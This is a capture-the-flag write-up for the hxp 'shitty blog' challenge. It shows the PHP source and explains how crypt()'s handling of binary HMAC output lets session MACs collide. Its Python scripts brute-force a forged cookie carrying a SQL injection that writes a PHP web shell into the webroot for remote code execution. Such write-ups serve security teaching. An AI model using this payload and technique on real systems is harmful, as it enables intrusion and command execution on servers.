↓Skip to main content
  1. Posts/

hxp CTF: shitty blog

Read more writeups at kitctf.de.

Challenge description:

Please use my shitty blog 🤎!

We are given a Docker container running PHP. The relevant details are that the server has a readflag binary and that the webroot is /var/www/html.

Other than that, only index.php is interesting:

<?php
// TODO: fully implement multi-user / guest feature :(

$secret = 'SECRET_PLACEHOLDER';
$salt = '$6$'.substr(hash_hmac('md5', $_SERVER['REMOTE_ADDR'], $secret), 16).'$';

if(! isset($_COOKIE['session'])){
    $id = random_int(1, PHP_INT_MAX);
    $mac = substr(crypt(hash_hmac('md5', $id, $secret, true), $salt), 20);
}
else {
    $session = explode('|', $_COOKIE['session']);
    if( ! hash_equals(crypt(hash_hmac('md5', $session[0], $secret, true), $salt), $salt.$session[1])) {
        exit();
    }
    $id = $session[0];
    $mac = $session[1];
}
setcookie('session', $id.'|'.$mac);
$sandbox = './data/'.md5($salt.'|'.$id.'|'.$mac);
if(! is_dir($sandbox)) {
    mkdir($sandbox);
}

$db = new PDO('sqlite:'.realpath($sandbox).'/blog.sqlite3');
$db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$db->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);

$schema = "
    CREATE TABLE IF NOT EXISTS user (id INTEGER PRIMARY KEY, name VARCHAR(255));
    CREATE TABLE IF NOT EXISTS entry (id INTEGER PRIMARY KEY AUTOINCREMENT, user_id INTEGER, content TEXT);

    INSERT OR IGNORE INTO user (id, name) VALUES (0, 'System');
    INSERT OR IGNORE INTO entry (id, user_id, content) VALUES (0, 0, 'Welcome to your new blog - 🚩🚩🚩 ʕ•́ᴥ•̀ʔっ🤎 🚩🚩🚩');
";
$db->exec($schema);

function get_entries($db){
    $sth = $db->query('SELECT id, user_id, content FROM entry ORDER BY id DESC');
     return $sth->fetchAll(); 
}

function get_user($db, $user_id) : string {
    foreach($db->query("SELECT name FROM user WHERE id = {$user_id}") as $user) {
        return $user['name'];
    }
    return 'me';
}

function insert_entry($db, $content, $user_id) {
    $sth = $db->prepare('INSERT INTO entry (content, user_id) VALUES (?, ?)');
    $sth->execute([$content, $user_id]);
}

function delete_entry($db, $entry_id, $user_id) {
    $db->exec("DELETE from entry WHERE {$user_id} <> 0 AND id = {$entry_id}");
}

if(isset($_POST['content'])) {
    insert_entry($db, htmlspecialchars($_POST['content']), $id);

    header('Location: /');
    exit;
}

$entries = get_entries($db);

if(isset($_POST['delete'])) {
    foreach($entries as $key => $entry) {
        if($_POST['delete'] === $entry['id']){
            delete_entry($db, $entry['id'], $entry['user_id']);
            break;
        }
    }

    header('Location: /');
    exit;
}

foreach($entries as $key => $entry) {
    $entries[$key]['user'] = get_user($db, $entry['user_id']);
}

?>
<!doctype html>
<html lang="en">
  <head>
    <meta charset="utf-8">
    <title>My shitty Blog</title>
    <link rel="icon" type="image/png" href="/favicon.png"/>
  </head>
  <body>
    <h1>My shitty blog</h1>
    <form method="post">
        <textarea cols="50" rows="10" name="content"></textarea>
        <input type="submit" value="Post">
    </form>
    <?php foreach($entries as $entry):?>
        <div>
            <p><?= $entry['content'] ?></p>
            <small>By <?=  $entry['user'] ?> </small>
            <form method="post">
                <input type="hidden" name="delete" value="<?= $entry['id'] ?>">
                <input type="submit" value="Delete">
            </form>
        </div>
        <hr>
    <?php endforeach ?>

  </body>
</html>

At first glance, we notice two obvious SQL injection points in delete_entry and get_user. Unfortunately, we do not directly control $entry_id, since its value is read from the database. So we are left with manipulating the user ID. The session cookie contains the user ID and a MAC (message authentication code), an authentication tag computed using a shared secret. The cryptographic code at the top looks unusual, but its use of MD5 alone does not reveal an obvious flaw: we know neither $secret nor $salt.

The vulnerability is that crypt(), which is not binary-safe, receives the raw binary output of hash_hmac(). This causes $mac to have the same value for all IDs whose HMAC-MD5 output starts with a zero byte. But we do not know that value yet, and there is no direct way to read it. To find the MAC shared by these “0-byte IDs”, we generate many new cookies and look for a frequently occurring MAC (the second part of the cookie). Roughly one in 256 random IDs is expected to produce the MAC we are looking for. We can do this with a simple Python script. The MAC depends on the client’s IP address and the server’s secret, so values from the local Docker environment need not match those from the challenge server.

import requests
from tqdm import tqdm

macs = []
for _ in tqdm(range(1000)):
    response = requests.get('http://65.108.176.96:8888/')
    # response = requests.get('http://127.0.0.1:8888/')
    macs.append(response.cookies['session'].split('%7C')[1])
mac_0 = max(macs,key=macs.count)
print(mac_0)

Now we need to store an SQL injection payload for remote code execution (RCE) in the user ID. If you are wondering about user_id being declared as an INTEGER in the database, SQLite’s flexible typing allows us to store nonnumeric text in this column too. Here, we aim to achieve RCE by creating a new database under the webroot, naming it something.php, and inserting PHP code.

The following script automates the search for a suitable cookie. We can append letters in a comment to brute-force an HMAC-MD5 output that starts with a zero byte.

import requests
import random
import string
from urllib.parse import quote 
remote_0_mac = 'F%2FAmM%2FKSezHydQEtOQZcjI2uUiW1XszDL9d%2FvzWyAXfOstphCBPvxDZqSnA2l9iPK699dU5t9gZQuFDvxv1WY0'
local_0_mac = 'TLWrqfD78JaibaXZDEjqmGh.A4kofn6q/fpGEQD3JoY0zV8vywm/0.pjdx6qX.3tEsp71XW080H6UIQXOAYz8.'

cont = ''
payload = quote("1=1; ATTACH DATABASE '/var/www/html/data/1fec2ac0ea54318b6fa64d73dcb5837d9a9e7c5e.php' as hackz;CREATE TABLE hackz.pwn (dataz text);INSERT INTO hackz.pwn (dataz) VALUES ('<?php echo system(\"/readflag\"); ?>'); -- random_brute")
while 'html' not in cont:
    random_id = ''.join(random.choice(string.ascii_letters) for _ in range(10))
    cookies = {
        'session': payload + random_id + '%7C' + remote_0_mac
        # 'session': payload random_id + '%7C' + local_0_mac
    }
    response = requests.get('http://65.108.176.96:8888/', cookies=cookies)
    #response = requests.get('http://127.0.0.1:1080/', cookies=cookies)
    cont = response.text
print(cookies)

The script gives us a cookie that we can copy into the browser. We then delete an entry and visit the newly created PHP page. Et voilà, the flag.

hxp{dynamically_typed_statically_typed_php_c_I_hate_you_all_equally__at_least_its_not_node_lol_:(}